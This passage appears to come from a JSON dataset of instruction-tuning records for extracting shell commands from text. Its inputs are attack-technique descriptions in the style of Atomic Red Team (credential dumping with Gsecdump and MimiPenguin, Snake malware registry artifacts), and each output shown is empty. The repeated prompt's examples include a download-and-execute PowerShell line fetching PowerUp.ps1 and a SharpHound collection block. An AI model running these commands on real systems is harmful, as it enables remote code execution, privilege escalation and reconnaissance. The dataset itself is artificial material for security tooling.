exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When Word starts, it searches for the registry key HKCU\\Software\\Microsoft\\Office\\\\Word\\Options\\STARTUP-PATH and if it exists,\nit will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx\nThe registry key can be abused to load malware from the mentioned path. Reboot might be required.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Dump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. \nSee https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic Test creates a registry blob in HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows\nregistry that is typically found at HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { 